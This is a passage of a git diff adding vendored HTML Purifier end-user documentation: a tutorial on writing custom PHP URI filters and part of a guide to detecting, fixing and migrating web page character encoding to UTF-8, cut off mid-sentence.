+probably good enough. The next step is to bump the level up to heavy,
+and if that still doesn't satisfy your appetite, do some fine-tuning.
+Other than that, don't worry about it: this all works silently and
+effectively in the background.</p>
+
+</body></html>
+
+<!-- vim: et sw=4 sts=4
+-->
diff --git a/vendor/ezyang/htmlpurifier/docs/enduser-uri-filter.html b/vendor/ezyang/htmlpurifier/docs/enduser-uri-filter.html
new file mode 100644
index 000000000..d1b3354a3
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/enduser-uri-filter.html
@@ -0,0 +1,204 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<meta name="description" content="Tutorial for creating custom URI filters." />
+<link rel="stylesheet" type="text/css" href="style.css" />
+
+<title>URI Filters - HTML Purifier</title>
+
+</head><body>
+
+<h1>URI Filters</h1>
+
+<div id="filing">Filed under End-User</div>
+<div id="index">Return to the <a href="index.html">index</a>.</div>
+<div id="home"><a href="http://htmlpurifier.org/">HTML Purifier</a> End-User Documentation</div>
+
+<p>
+ This is a quick and dirty document to get you on your way to writing
+ custom URI filters for your own URL filtering needs. Why would you
+ want to write a URI filter? If you need URIs your users put into
+ HTML to magically change into a different URI, this is
+ exactly what you need!
+</p>
+
+<h2>Creating the class</h2>
+
+<p>
+ Any URI filter you make will be a subclass of <code>HTMLPurifier_URIFilter</code>.
+ The scaffolding is thus:
+</p>
+
+<pre>class HTMLPurifier_URIFilter_<strong>NameOfFilter</strong> extends HTMLPurifier_URIFilter
+{
+ public $name = '<strong>NameOfFilter</strong>';
+ public function prepare($config) {}
+ public function filter(&$uri, $config, $context) {}
+}</pre>
+
+<p>
+ Fill in the variable <code>$name</code> with the name of your filter, and
+ take a look at the two methods. <code>prepare()</code> is an initialization
+ method that is called only once, before any filtering has been done of the
+ HTML. Use it to perform any costly setup work that only needs to be done
+ once. <code>filter()</code> is the guts and innards of our filter:
+ it takes the URI and does whatever needs to be done to it.
+</p>
+
+<p>
+ If you've worked with HTML Purifier, you'll recognize the <code>$config</code>
+ and <code>$context</code> parameters. On the other hand, <code>$uri</code>
+ is something unique to this section of the application: it's a
+ <code>HTMLPurifier_URI</code> object. The interface is thus:
+</p>
+
+<pre>class HTMLPurifier_URI
+{
+ public $scheme, $userinfo, $host, $port, $path, $query, $fragment;
+ public function HTMLPurifier_URI($scheme, $userinfo, $host, $port, $path, $query, $fragment);
+ public function toString();
+ public function copy();
+ public function getSchemeObj($config, $context);
+ public function validate($config, $context);
+}</pre>
+
+<p>
+ The first three methods are fairly self-explanatory: you have a constructor,
+ a serializer, and a cloner. Generally, you won't be using them when
+ you are manipulating the URI objects themselves.
+ <code>getSchemeObj()</code> is a special purpose method that returns
+ a <code>HTMLPurifier_URIScheme</code> object corresponding to the specific
+ URI at hand. <code>validate()</code> performs general-purpose validation
+ on the internal components of a URI. Once again, you don't need to
+ worry about these: they've already been handled for you.
+</p>
+
+<h2>URI format</h2>
+
+<p>
+ As a URIFilter, we're interested in the member variables of the URI object.
+</p>
+
+<table class="quick"><tbody>
+ <tr><th>Scheme</th> <td>The protocol for identifying (and possibly locating) a resource (http, ftp, https)</td></tr>
+ <tr><th>Userinfo</th> <td>User information such as a username (bob)</td></tr>
+ <tr><th>Host</th> <td>Domain name or IP address of the server (example.com, 127.0.0.1)</td></tr>
+ <tr><th>Port</th> <td>Network port number for the server (80, 12345)</td></tr>
+ <tr><th>Path</th> <td>Data that identifies the resource, possibly hierarchical (/path/to, ed@example.com)</td></tr>
+ <tr><th>Query</th> <td>String of information to be interpreted by the resource (?q=search-term)</td></tr>
+ <tr><th>Fragment</th> <td>Additional information for the resource after retrieval (#bookmark)</td></tr>
+</tbody></table>
+
+<p>
+ Because the URI is presented to us in this form, and not
+ <code>http://bob@example.com:8080/foo.php?q=string#hash</code>, it saves us
+ a lot of trouble in having to parse the URI every time we want to filter
+ it. For the record, the above URI has the following components:
+</p>
+
+<table class="quick"><tbody>
+ <tr><th>Scheme</th> <td>http</td></tr>
+ <tr><th>Userinfo</th> <td>bob</td></tr>
+ <tr><th>Host</th> <td>example.com</td></tr>
+ <tr><th>Port</th> <td>8080</td></tr>
+ <tr><th>Path</th> <td>/foo.php</td></tr>
+ <tr><th>Query</th> <td>q=string</td></tr>
+ <tr><th>Fragment</th> <td>hash</td></tr>
+</tbody></table>
+
+<p>
+ Note that there is no question mark or octothorpe in the query or
+ fragment: these get removed during parsing.
+</p>
+
+<p>
+ With this information, you can get straight to implementing your
+ <code>filter()</code> method. But one more thing...
+</p>
+
+<h2>Return value: Boolean, not URI</h2>
+
+<p>
+ You may have noticed that the URI is being passed in by reference.
+ This means that whatever changes you make to it, those changes will
+ be reflected in the URI object the callee had. <strong>Do not
+ return the URI object: it is unnecessary and will cause bugs.</strong>
+ Instead, return a boolean value, true if the filtering was successful,
+ or false if the URI is beyond repair and needs to be axed.
+</p>
+
+<p>
+ Let's suppose I wanted to write a filter that converted links with a
+ custom <code>image</code> scheme to its corresponding real path on
+ our website:
+</p>
+
+<pre>class HTMLPurifier_URIFilter_TransformImageScheme extends HTMLPurifier_URIFilter
+{
+ public $name = 'TransformImageScheme';
+ public function filter(&$uri, $config, $context) {
+ if ($uri->scheme !== 'image') return true;
+ $img_name = $uri->path;
+ // Overwrite the previous URI object
+ $uri = new HTMLPurifier_URI('http', null, null, null, '/img/' . $img_name . '.png', null, null);
+ return true;
+ }
+}</pre>
+
+<p>
+ Notice I did not <code>return $uri;</code>. This filter would turn
+ <code>image:Foo</code> into <code>/img/Foo.png</code>.
+</p>
+
+<h2>Activating your filter</h2>
+
+<p>
+ Having a filter is all well and good, but you need to tell HTML Purifier
+ to use it. Fortunately, this part's simple:
+</p>
+
+<pre>$uri = $config->getDefinition('URI');
+$uri->addFilter(new HTMLPurifier_URIFilter_<strong>NameOfFilter</strong>(), $config);</pre>
+
+<p>
+ After adding a filter, you won't be able to set configuration directives.
+ Structure your code accordingly.
+</p>
+
+<!-- XXX: link to new documentation system -->
+
+<h2>Post-filter</h2>
+
+<p>
+ Remember our TransformImageScheme filter? That filter acted before we had
+ performed scheme validation; otherwise, the URI would have been filtered
+ out when it was discovered that there was no image scheme. Well, a post-filter
+ is run after scheme specific validation, so it's ideal for bulk
+ post-processing of URIs, including munging. To specify a URI as a post-filter,
+ set the <code>$post</code> member variable to TRUE.
+</p>
+
+<pre>class HTMLPurifier_URIFilter_MyPostFilter extends HTMLPurifier_URIFilter
+{
+ public $name = 'MyPostFilter';
+ public $post = true;
+ // ... extra code here
+}
+</pre>
+
+<h2>Examples</h2>
+
+<p>
+ Check the
+ <a href="http://repo.or.cz/w/htmlpurifier.git?a=tree;hb=HEAD;f=library/HTMLPurifier/URIFilter">URIFilter</a>
+ directory for more implementation examples, and see <a href="proposal-new-directives.txt">the
+ new directives proposal document</a> for ideas on what could be implemented
+ as a filter.
+</p>
+
+</body></html>
+
+<!-- vim: et sw=4 sts=4
+-->
diff --git a/vendor/ezyang/htmlpurifier/docs/enduser-utf8.html b/vendor/ezyang/htmlpurifier/docs/enduser-utf8.html
new file mode 100644
index 000000000..9b01a302a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/enduser-utf8.html
@@ -0,0 +1,1060 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<meta name="description" content="Describes the rationale for using UTF-8, the ramifications otherwise, and how to make the switch." />
+<link rel="stylesheet" type="text/css" href="./style.css" />
+<style type="text/css">
+ .minor td {font-style:italic;}
+</style>
+
+<title>UTF-8: The Secret of Character Encoding - HTML Purifier</title>
+
+<!-- Note to users: this document, though professing to be UTF-8, attempts
+to use only ASCII characters, because most webservers are configured
+to send HTML as ISO-8859-1. So I will, many times, go against my
+own advice for sake of portability. -->
+
+</head><body>
+
+<h1>UTF-8: The Secret of Character Encoding</h1>
+
+<div id="filing">Filed under End-User</div>
+<div id="index">Return to the <a href="index.html">index</a>.</div>
+<div id="home"><a href="http://htmlpurifier.org/">HTML Purifier</a> End-User Documentation</div>
+
+<p>Character encoding and character sets are not that
+difficult to understand, but so many people blithely stumble
+through the worlds of programming without knowing what to actually
+do about it, or say &quot;Ah, it's a job for those <em>internationalization</em>
+experts.&quot; No, it is not! This document will walk you through
+determining the encoding of your system and how you should handle
+this information. It will stay away from excessive discussion on
+the internals of character encoding.</p>
+
+<p>This document is not designed to be read in its entirety: it will
+slowly introduce concepts that build on each other: you need not get to
+the bottom to have learned something new. However, I strongly
+recommend you read all the way to <strong>Why UTF-8?</strong>, because at least
+at that point you'd have made a conscious decision not to migrate,
+which can be a rewarding (but difficult) task.</p>
+
+<blockquote class="aside">
+<div class="label">Asides</div>
+ <p>Text in this formatting is an <strong>aside</strong>,
+ interesting tidbits for the curious but not strictly necessary material to
+ do the tutorial. If you read this text, you'll come out
+ with a greater understanding of the underlying issues.</p>
+</blockquote>
+
+<h2>Table of Contents</h2>
+
+<ol id="toc">
+ <li><a href="#findcharset">Finding the real encoding</a></li>
+ <li><a href="#findmetacharset">Finding the embedded encoding</a></li>
+ <li><a href="#fixcharset">Fixing the encoding</a><ol>
+ <li><a href="#fixcharset-none">No embedded encoding</a></li>
+ <li><a href="#fixcharset-diff">Embedded encoding disagrees</a></li>
+ <li><a href="#fixcharset-server">Changing the server encoding</a><ol>
+ <li><a href="#fixcharset-server-php">PHP header() function</a></li>
+ <li><a href="#fixcharset-server-phpini">PHP ini directive</a></li>
+ <li><a href="#fixcharset-server-nophp">Non-PHP</a></li>
+ <li><a href="#fixcharset-server-htaccess">.htaccess</a></li>
+ <li><a href="#fixcharset-server-ext">File extensions</a></li>
+ </ol></li>
+ <li><a href="#fixcharset-xml">XML</a></li>
+ <li><a href="#fixcharset-internals">Inside the process</a></li>
+ </ol></li>
+ <li><a href="#whyutf8">Why UTF-8?</a><ol>
+ <li><a href="#whyutf8-i18n">Internationalization</a></li>
+ <li><a href="#whyutf8-user">User-friendly</a></li>
+ <li><a href="#whyutf8-forms">Forms</a><ol>
+ <li><a href="#whyutf8-forms-urlencoded">application/x-www-form-urlencoded</a></li>
+ <li><a href="#whyutf8-forms-multipart">multipart/form-data</a></li>
+ </ol></li>
+ <li><a href="#whyutf8-support">Well supported</a></li>
+ <li><a href="#whyutf8-htmlpurifier">HTML Purifiers</a></li>
+ </ol></li>
+ <li><a href="#migrate">Migrate to UTF-8</a><ol>
+ <li><a href="#migrate-db">Configuring your database</a><ol>
+ <li><a href="#migrate-db-legit">Legit method</a></li>
+ <li><a href="#migrate-db-binary">Binary</a></li>
+ </ol></li>
+ <li><a href="#migrate-editor">Text editor</a></li>
+ <li><a href="#migrate-bom">Byte Order Mark (headers already sent!)</a></li>
+ <li><a href="#migrate-fonts">Fonts</a><ol>
+ <li><a href="#migrate-fonts-obscure">Obscure scripts</a></li>
+ <li><a href="#migrate-fonts-occasional">Occasional use</a></li>
+ </ol></li>
+ <li><a href="#migrate-variablewidth">Dealing with variable width in functions</a></li>
+ </ol></li>
+ <li><a href="#externallinks">Further Reading</a></li>
+</ol>
+
+<h2 id="findcharset">Finding the real encoding</h2>
+
+<p>In the beginning, there was ASCII, and things were simple. But they
+weren't good, for no one could write in Cyrillic or Thai. So there
+exploded a proliferation of character encodings to remedy the problem
+by extending the characters ASCII could express. This ridiculously
+simplified version of the history of character encodings shows us that
+there are now many character encodings floating around.</p>
+
+<blockquote class="aside">
+ <p>A <strong>character encoding</strong> tells the computer how to
+ interpret raw zeroes and ones into real characters. It
+ usually does this by pairing numbers with characters.</p>
+ <p>There are many different types of character encodings floating
+ around, but the ones we deal most frequently with are ASCII,
+ 8-bit encodings, and Unicode-based encodings.</p>
+ <ul>
+ <li><strong>ASCII</strong> is a 7-bit encoding based on the
+ English alphabet.</li>
+ <li><strong>8-bit encodings</strong> are extensions to ASCII
+ that add a potpourri of useful, non-standard characters
+ like &eacute; and &aelig;. They can only add 127 characters,
+ so usually only support one script at a time. When you
+ see a page on the web, chances are it's encoded in one
+ of these encodings.</li>
+ <li><strong>Unicode-based encodings</strong> implement the
+ Unicode standard and include UTF-8, UTF-16 and UTF-32/UCS-4.
+ They go beyond 8-bits and support almost
+ every language in the world. UTF-8 is gaining traction
+ as the dominant international encoding of the web.</li>
+ </ul>
+</blockquote>
+
+<p>The first step of our journey is to find out what the encoding of
+your website is. The most reliable way is to ask your
+browser:</p>
+
+<dl>
+ <dt>Mozilla Firefox</dt>
+ <dd>Tools &gt; Page Info: Encoding</dd>
+ <dt>Internet Explorer</dt>
+ <dd>View &gt; Encoding: bulleted item is unofficial name</dd>
+</dl>
+
+<p>Internet Explorer won't give you the MIME (i.e. useful/real) name of the
+character encoding, so you'll have to look it up using their description.
+Some common ones:</p>
+
+<table class="table">
+ <thead><tr>
+ <th>IE's Description</th>
+ <th>Mime Name</th>
+ </tr></thead>
+ <tbody>
+ <tr><th colspan="2">Windows</th></tr>
+ <tr><td>Arabic (Windows)</td><td>Windows-1256</td></tr>
+ <tr><td>Baltic (Windows)</td><td>Windows-1257</td></tr>
+ <tr><td>Central European (Windows)</td><td>Windows-1250</td></tr>
+ <tr><td>Cyrillic (Windows)</td><td>Windows-1251</td></tr>
+ <tr><td>Greek (Windows)</td><td>Windows-1253</td></tr>
+ <tr><td>Hebrew (Windows)</td><td>Windows-1255</td></tr>
+ <tr><td>Thai (Windows)</td><td>TIS-620</td></tr>
+ <tr><td>Turkish (Windows)</td><td>Windows-1254</td></tr>
+ <tr><td>Vietnamese (Windows)</td><td>Windows-1258</td></tr>
+ <tr><td>Western European (Windows)</td><td>Windows-1252</td></tr>
+ </tbody>
+ <tbody>
+ <tr><th colspan="2">ISO</th></tr>
+ <tr><td>Arabic (ISO)</td><td>ISO-8859-6</td></tr>
+ <tr><td>Baltic (ISO)</td><td>ISO-8859-4</td></tr>
+ <tr><td>Central European (ISO)</td><td>ISO-8859-2</td></tr>
+ <tr><td>Cyrillic (ISO)</td><td>ISO-8859-5</td></tr>
+ <tr class="minor"><td>Estonian (ISO)</td><td>ISO-8859-13</td></tr>
+ <tr class="minor"><td>Greek (ISO)</td><td>ISO-8859-7</td></tr>
+ <tr><td>Hebrew (ISO-Logical)</td><td>ISO-8859-8-l</td></tr>
+ <tr><td>Hebrew (ISO-Visual)</td><td>ISO-8859-8</td></tr>
+ <tr class="minor"><td>Latin 9 (ISO)</td><td>ISO-8859-15</td></tr>
+ <tr class="minor"><td>Turkish (ISO)</td><td>ISO-8859-9</td></tr>
+ <tr><td>Western European (ISO)</td><td>ISO-8859-1</td></tr>
+ </tbody>
+ <tbody>
+ <tr><th colspan="2">Other</th></tr>
+ <tr><td>Chinese Simplified (GB18030)</td><td>GB18030</td></tr>
+ <tr><td>Chinese Simplified (GB2312)</td><td>GB2312</td></tr>
+ <tr><td>Chinese Simplified (HZ)</td><td>HZ</td></tr>
+ <tr><td>Chinese Traditional (Big5)</td><td>Big5</td></tr>
+ <tr><td>Japanese (Shift-JIS)</td><td>Shift_JIS</td></tr>
+ <tr><td>Japanese (EUC)</td><td>EUC-JP</td></tr>
+ <tr><td>Korean</td><td>EUC-KR</td></tr>
+ <tr><td>Unicode (UTF-8)</td><td>UTF-8</td></tr>
+ </tbody>
+</table>
+
+<p>Internet Explorer does not recognize some of the more obscure
+character encodings, and having to lookup the real names with a table
+is a pain, so I recommend using Mozilla Firefox to find out your
+character encoding.</p>
+
+<h2 id="findmetacharset">Finding the embedded encoding</h2>
+
+<p>At this point, you may be asking, &quot;Didn't we already find out our
+encoding?&quot; Well, as it turns out, there are multiple places where
+a web developer can specify a character encoding, and one such place
+is in a <code>META</code> tag:</p>
+
+<pre>&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot; /&gt;</pre>
+
+<p>You'll find this in the <code>HEAD</code> section of an HTML document.
+The text to the right of <code>charset=</code> is the &quot;claimed&quot;
+encoding: the HTML claims to be this encoding, but whether or not this
+is actually the case depends on other factors. For now, take note
+if your <code>META</code> tag claims that either:</p>
+
+<ol>
+ <li>The character encoding is the same as the one reported by the
+ browser,</li>
+ <li>The character encoding is different from the browser's, or</li>
+ <li>There is no <code>META</code> tag at all! (horror, horror!)</li>
+</ol>
+
+<h2 id="fixcharset">Fixing the encoding</h2>
+
+<p class="aside">The advice given here is for pages being served as
+vanilla <code>text/html</code>. Different practices must be used
+for <code>application/xml</code> or <code>application/xml+xhtml</code>, see
+<a href="http://www.w3.org/TR/2002/NOTE-xhtml-media-types-20020430/">W3C's
+document on XHTML media types</a> for more information.</p>
+
+<p>If your <code>META</code> encoding and your real encoding match,
+savvy! You can skip this section. If they don't...</p>
+
+<h3 id="fixcharset-none">No embedded encoding</h3>
+
+<p>If this is the case, you'll want to add in the appropriate
+<code>META</code> tag to your website. It's as simple as copy-pasting
+the code snippet above and replacing UTF-8 with whatever is the mime name
+of your real encoding.</p>
+
+<blockquote class="aside">
+ <p>For all those skeptics out there, there is a very good reason
+ why the character encoding should be explicitly stated. When the
+ browser isn't told what the character encoding of a text is, it
+ has to guess: and sometimes the guess is wrong. Hackers can manipulate
+ this guess in order to slip XSS past filters and then fool the
+ browser into executing it as active code. A great example of this
+ is the <a href="http://shiflett.org/archive/177">Google UTF-7
+ exploit</a>.</p>
+ <p>You might be able to get away with not specifying a character
+ encoding with the <code>META</code> tag as long as your webserver
+ sends the right Content-Type header, but why risk it? Besides, if
+ the user downloads the HTML file, there is no longer any webserver
+ to define the character encoding.</p>
+</blockquote>
+
+<h3 id="fixcharset-diff">Embedded encoding disagrees</h3>
+
+<p>This is an extremely common mistake: another source is telling
+the browser what the
+character encoding is and is overriding the embedded encoding. This
+source usually is the Content-Type HTTP header that the webserver (i.e.
+Apache) sends. A usual Content-Type header sent with a page might
+look like this:</p>
+
+<pre>Content-Type: text/html; charset=ISO-8859-1</pre>
+
+<p>Notice how there is a charset parameter: this is the webserver's
+way of telling a browser what the character encoding is, much like
+the <code>META</code> tags we touched upon previously.</p>
+
+<blockquote class="aside"><p>In fact, the <code>META</code> tag is
+designed as a substitute for the HTTP header for contexts where
+sending headers is impossible (such as locally stored files without
+a webserver). Thus the name <code>http-equiv</code> (HTTP equivalent).
+</p></blockquote>
+
+<p>There are two ways to go about fixing this: changing the <code>META</code>
+tag to match the HTTP header, or changing the HTTP header to match
+the <code>META</code> tag. How do we know which to do? It depends
+on the website's content: after all, headers and tags are only ways of
+describing the actual characters on the web page.</p>
+
+<p>If your website:</p>
+
+<dl>
+ <dt>...only uses ASCII characters,</dt>
+ <dd>Either way is fine, but I recommend switching both to
+ UTF-8 (more on this later).</dd>
+ <dt>...uses special characters, and they display
+ properly,</dt>
+ <dd>Change the embedded encoding to the server encoding.</dd>
+ <dt>...uses special characters, but users often complain that
+ they come out garbled,</dt>
+ <dd>Change the server encoding to the embedded encoding.</dd>
+</dl>
+
+<p>Changing a META tag is easy: just swap out the old encoding
+for the new. Changing the server (HTTP header) encoding, however,
+is slightly more difficult.</p>
+
+<h3 id="fixcharset-server">Changing the server encoding</h3>
+
+<h4 id="fixcharset-server-php">PHP header() function</h4>
+
+<p>The simplest way to handle this problem is to send the encoding
+yourself, via your programming language. Since you're using HTML
+Purifier, I'll assume PHP, although it's not too difficult to do
+similar things in
+<a href="http://www.w3.org/International/O-HTTP-charset#scripting">other
+languages</a>. The appropriate code is:</p>
+
+<pre><a href="http://php.net/function.header">header</a>('Content-Type:text/html; charset=UTF-8');</pre>
+
+<p>...replacing UTF-8 with whatever your embedded encoding is.
+This code must come before any output, so be careful about
+stray whitespace in your application (i.e., any whitespace before
+output excluding whitespace within &lt;?php ?&gt; tags).</p>
+
+<h4 id="fixcharset-server-phpini">PHP ini directive</h4>
+
+<p>PHP also has a neat little ini directive that can save you a
+header call: <code><a href="http://php.net/ini.core#ini.default-charset">default_charset</a></code>. Using this code:</p>
+
+<pre><a href="http://php.net/function.ini_set">ini_set</a>('default_charset', 'UTF-8');</pre>
+
+<p>...will also do the trick. If PHP is running as an Apache module (and
+not as FastCGI, consult
+<a href="http://php.net/phpinfo">phpinfo</a>() for details), you can even use htaccess to apply this property
+across many PHP files:</p>
+
+<pre><a href="http://php.net/configuration.changes#configuration.changes.apache">php_value</a> default_charset &quot;UTF-8&quot;</pre>
+
+<blockquote class="aside"><p>As with all INI directives, this can
+also go in your php.ini file. Some hosting providers allow you to customize
+your own php.ini file, ask your support for details. Use:</p>
+<pre>default_charset = &quot;utf-8&quot;</pre></blockquote>
+
+<h4 id="fixcharset-server-nophp">Non-PHP</h4>
+
+<p>You may, for whatever reason, need to set the character encoding
+on non-PHP files, usually plain ol' HTML files. Doing this
+is more of a hit-or-miss process: depending on the software being
+used as a webserver and the configuration of that software, certain
+techniques may work, or may not work.</p>
+
+<h4 id="fixcharset-server-htaccess">.htaccess</h4>
+
+<p>On Apache, you can use an .htaccess file to change the character
+encoding. I'll defer to
+<a href="http://www.w3.org/International/questions/qa-htaccess-charset">W3C</a>
+for the in-depth explanation, but it boils down to creating a file
+named .htaccess with the contents:</p>
+
+<pre><a href="http://httpd.apache.org/docs/1.3/mod/mod_mime.html#addcharset">AddCharset</a> UTF-8 .html</pre>
+
+<p>Where UTF-8 is replaced with the character encoding you want to
+use and .html is a file extension that this will be applied to. This
+character encoding will then be set for any file directly in
+or in the subdirectories of directory you place this file in.</p>
+
+<p>If you're feeling particularly courageous, you can use:</p>
+
+<pre><a href="http://httpd.apache.org/docs/1.3/mod/core.html#adddefaultcharset">AddDefaultCharset</a> UTF-8</pre>
+
+<p>...which changes the character set Apache adds to any document that
+doesn't have any Content-Type parameters. This directive, which the
+default configuration file sets to iso-8859-1 for security
+reasons, is probably why your headers mismatch
+with the <code>META</code> tag. If you would prefer Apache not to be
+butting in on your character encodings, you can tell it not
+to send anything at all:</p>
+
+<pre><a href="http://httpd.apache.org/docs/1.3/mod/core.html#adddefaultcharset">AddDefaultCharset</a> Off</pre>
+
+<p>...making your internal charset declaration (usually the <code>META</code> tags)
+the sole source of character encoding
+information. In these cases, it is <em>especially</em> important to make
+sure you have valid <code>META</code> tags on your pages and all the
+text before them is ASCII.</p>
+
+<blockquote class="aside"><p>These directives can also be
+placed in httpd.conf file for Apache, but
+in most shared hosting situations you won't be able to edit this file.
+</p></blockquote>
+
+<h4 id="fixcharset-server-ext">File extensions</h4>
+
+<p>If you're not allowed to use .htaccess files, you can often
+piggy-back off of Apache's default AddCharset declarations to get
+your files in the proper extension. Here are Apache's default
+character set declarations:</p>
+
+<table class="table">
+ <thead><tr>
+ <th>Charset</th>
+ <th>File extension(s)</th>
+ </tr></thead>
+ <tbody>
+ <tr><td>ISO-8859-1</td><td>.iso8859-1 .latin1</td></tr>
+ <tr><td>ISO-8859-2</td><td>.iso8859-2 .latin2 .cen</td></tr>
+ <tr><td>ISO-8859-3</td><td>.iso8859-3 .latin3</td></tr>
+ <tr><td>ISO-8859-4</td><td>.iso8859-4 .latin4</td></tr>
+ <tr><td>ISO-8859-5</td><td>.iso8859-5 .latin5 .cyr .iso-ru</td></tr>
+ <tr><td>ISO-8859-6</td><td>.iso8859-6 .latin6 .arb</td></tr>
+ <tr><td>ISO-8859-7</td><td>.iso8859-7 .latin7 .grk</td></tr>
+ <tr><td>ISO-8859-8</td><td>.iso8859-8 .latin8 .heb</td></tr>
+ <tr><td>ISO-8859-9</td><td>.iso8859-9 .latin9 .trk</td></tr>
+ <tr><td>ISO-2022-JP</td><td>.iso2022-jp .jis</td></tr>
+ <tr><td>ISO-2022-KR</td><td>.iso2022-kr .kis</td></tr>
+ <tr><td>ISO-2022-CN</td><td>.iso2022-cn .cis</td></tr>
+ <tr><td>Big5</td><td>.Big5 .big5 .b5</td></tr>
+ <tr><td>WINDOWS-1251</td><td>.cp-1251 .win-1251</td></tr>
+ <tr><td>CP866</td><td>.cp866</td></tr>
+ <tr><td>KOI8-r</td><td>.koi8-r .koi8-ru</td></tr>
+ <tr><td>KOI8-ru</td><td>.koi8-uk .ua</td></tr>
+ <tr><td>ISO-10646-UCS-2</td><td>.ucs2</td></tr>
+ <tr><td>ISO-10646-UCS-4</td><td>.ucs4</td></tr>
+ <tr><td>UTF-8</td><td>.utf8</td></tr>
+ <tr><td>GB2312</td><td>.gb2312 .gb </td></tr>
+ <tr><td>utf-7</td><td>.utf7</td></tr>
+ <tr><td>EUC-TW</td><td>.euc-tw</td></tr>
+ <tr><td>EUC-JP</td><td>.euc-jp</td></tr>
+ <tr><td>EUC-KR</td><td>.euc-kr</td></tr>
+ <tr><td>shift_jis</td><td>.sjis</td></tr>
+ </tbody>
+</table>
+
+<p>So, for example, a file named <code>page.utf8.html</code> or
+<code>page.html.utf8</code> will probably be sent with the UTF-8 charset
+attached, the difference being that if there is an
+<code>AddCharset charset .html</code> declaration, it will override
+the .utf8 extension in <code>page.utf8.html</code> (precedence moves
+from right to left). By default, Apache has no such declaration.</p>
+
+<h4 id="fixcharset-server-iis">Microsoft IIS</h4>
+
+<p>If anyone can contribute information on how to configure Microsoft
+IIS to change character encodings, I'd be grateful.</p>
+
+<h3 id="fixcharset-xml">XML</h3>
+
+<p><code>META</code> tags are the most common source of embedded
+encodings, but they can also come from somewhere else: XML
+Declarations. They look like:</p>
+
+<pre>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;</pre>
+
+<p>...and are most often found in XML documents (including XHTML).</p>
+
+<p>For XHTML, this XML Declaration theoretically
+overrides the <code>META</code> tag. In reality, this happens only when the
+XHTML is actually served as legit XML and not HTML, which is almost always
+never due to Internet Explorer's lack of support for
+<code>application/xhtml+xml</code> (even though doing so is often
+argued to be <a href="http://www.hixie.ch/advocacy/xhtml">good
+practice</a> and is required by the XHTML 1.1 specification).</p>
+
+<p>For XML, however, this XML Declaration is extremely important.
+Since most webservers are not configured to send charsets for .xml files,
+this is the only thing a parser has to go on. Furthermore, the default
+for XML files is UTF-8, which often butts heads with more common
+ISO-8859-1 encoding (you see this in garbled RSS feeds).</p>
+
+<p>In short, if you use XHTML and have gone through the
+trouble of adding the XML Declaration, make sure it jives
+with your <code>META</code> tags (which should only be present
+if served in text/html) and HTTP headers.</p>
+
+<h3 id="fixcharset-internals">Inside the process</h3>
+
+<p>This section is not required reading,
+but may answer some of your questions on what's going on in all
+this character encoding hocus pocus. If you're interested in
+moving on to the next phase, skip this section.</p>
+
+<p>A logical question that follows all of our wheeling and dealing
+with multiple sources of character encodings is &quot;Why are there
+so many options?&quot; To answer this question, we have to turn
+back our definition of character encodings: they allow a program
+to interpret bytes into human-readable characters.</p>
+
+<p>Thus, a chicken-egg problem: a character encoding
+is necessary to interpret the
+text of a document. A <code>META</code> tag is in the text of a document.
+The <code>META</code> tag gives the character encoding. How can we
+determine the contents of a <code>META</code> tag, inside the text,
+if we don't know it's character encoding? And how do we figure out
+the character encoding, if we don't know the contents of the
+<code>META</code> tag?</p>
+
+<p>Fortunately for us, the characters we need to write the
+<code>META</code> are in ASCII, which is pretty much universal
+over every character encoding that is in common use today. So,
+all the web-browser has to do is parse all the way down until
+it gets to the Content-Type tag, extract the character encoding
+tag, then re-parse the document according to this new information.</p>
+
+<p>Obviously this is complicated, so browsers prefer the simpler
+and more efficient solution: get the character encoding from a
+somewhere other than the document itself, i.e. the HTTP headers,
+much to the chagrin of HTML authors who can't set these headers.</p>
+
+<h2 id="whyutf8">Why UTF-8?</h2>
+
+<p>So, you've gone through all the trouble of ensuring that your
+server and embedded characters all line up properly and are
+present. Good job: at
+this point, you could quit and rest easy knowing that your pages
+are not vulnerable to character encoding style XSS attacks.
+However, just as having a character encoding is better than
+having no character encoding at all, having UTF-8 as your
+character encoding is better than having some other random
+character encoding, and the next step is to convert to UTF-8.
+But why?</p>
+
+<h3 id="whyutf8-i18n">Internationalization</h3>
+
+<p>Many software projects, at one point or another, suddenly realize
+that they should be supporting more than one language. Even regular
+usage in one language sometimes requires the occasional special character
+that, without surprise, is not available in your character set. Sometimes
+developers get around this by adding support for multiple encodings: when
+using Chinese, use Big5, when using Japanese, use Shift-JIS, when
+using Greek, etc. Other times, they use character references with great
+zeal.</p>
+
+<p>UTF-8, however, obviates the need for any of these complicated
+measures. After getting the system to use UTF-8 and adjusting for
+sources that are outside the hand of the browser (more on this later),
+UTF-8 just works. You can use it for any language, even many languages
+at once, you don't have to worry about managing multiple encodings,
+you don't have to use those user-unfriendly entities.</p>
+
+<h3 id="whyutf8-user">User-friendly</h3>
+
+<p>Websites encoded in Latin-1 (ISO-8859-1) which occasionally need
+a special character outside of their scope often will use a character
+entity reference to achieve the desired effect. For instance, &theta; can be
+written <code>&amp;theta;</code>, regardless of the character encoding's
+support of Greek letters.</p>
+
+<p>This works nicely for limited use of special characters, but
+say you wanted this sentence of Chinese text: &#28608;&#20809;,
+&#36889;&#20841;&#20491;&#23383;&#26159;&#29978;&#40636;&#24847;&#24605;.
+The ampersand encoded version would look like this:</p>
+
+<pre>&amp;#28608;&amp;#20809;, &amp;#36889;&amp;#20841;&amp;#20491;&amp;#23383;&amp;#26159;&amp;#29978;&amp;#40636;&amp;#24847;&amp;#24605;</pre>
+
+<p>Extremely inconvenient for those of us who actually know what
+character entities are, totally unintelligible to poor users who don't!
+Even the slightly more user-friendly, &quot;intelligible&quot; character
